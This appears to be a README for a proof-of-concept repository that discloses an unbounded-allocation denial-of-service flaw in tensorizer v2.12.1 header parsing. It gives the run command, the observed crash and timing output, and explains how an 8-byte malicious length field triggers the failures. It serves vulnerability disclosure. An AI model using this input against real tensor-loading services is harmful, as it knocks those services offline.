File size: 2,002 Bytes
0dcafe3 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | # PoC: Unbounded Allocation DoS in Tensorizer Header Parsing
**Affected:** `tensorizer` (PyPI) v2.12.1
**Vulnerability class:** CWE-789 (Memory Allocation with Excessive Size Value)
## What this repo contains
`tensorizer_poc.py` — a standalone script that reproduces the exact
vulnerable code from `_TensorHeaderDeserializer.from_io()` in the real
`tensorizer/serialization.py` (cited verbatim, with line references, in
the accompanying full report), without requiring `tensorizer`'s full
dependency stack (torch, boto3, redis) to be installed.
## How to reproduce
```bash
python3 tensorizer_poc.py all
```
**Observed result (verified on a 3.9GB RAM Linux host, Python 3.12.3):**
```
=== Mode: cpu_cost (claimed_len = 1 GB) ===
header claims 1,000,000,000 bytes (1.00 GB) — about to allocate, no validation...
allocation SUCCEEDED in 4.2338s (from an 8-byte malicious input)
=== Mode: memory_error (claimed_len = 100 GB) ===
header claims 100,000,000,000 bytes (100.00 GB) — about to allocate, no validation...
MemoryError raised (uncaught in the real library's call site): MemoryError()
=== Mode: overflow_error (claimed_len = 2**63) ===
header claims 9,223,372,036,854,775,808 bytes — about to allocate, no validation...
OverflowError raised — a DIFFERENT exception type than MemoryError:
OverflowError("cannot fit 'int' into an index-sized integer")
```
## Why this matters
`tensorizer` loads tensor data from local files **and from network
sources** — HTTP/HTTPS, S3, and Redis. A single 8-byte malicious value at
the start of any tensor entry, from any of these sources, either:
- forces multiple seconds of CPU time from a tiny input (amplification
DoS), or
- raises an exception that is not caught anywhere in the real
deserialization call path, terminating the calling operation.
Neither requires more than 8 bytes of attacker-controlled data. Full
write-up, exact source citations, and suggested remediation are in the
accompanying disclosure report.
|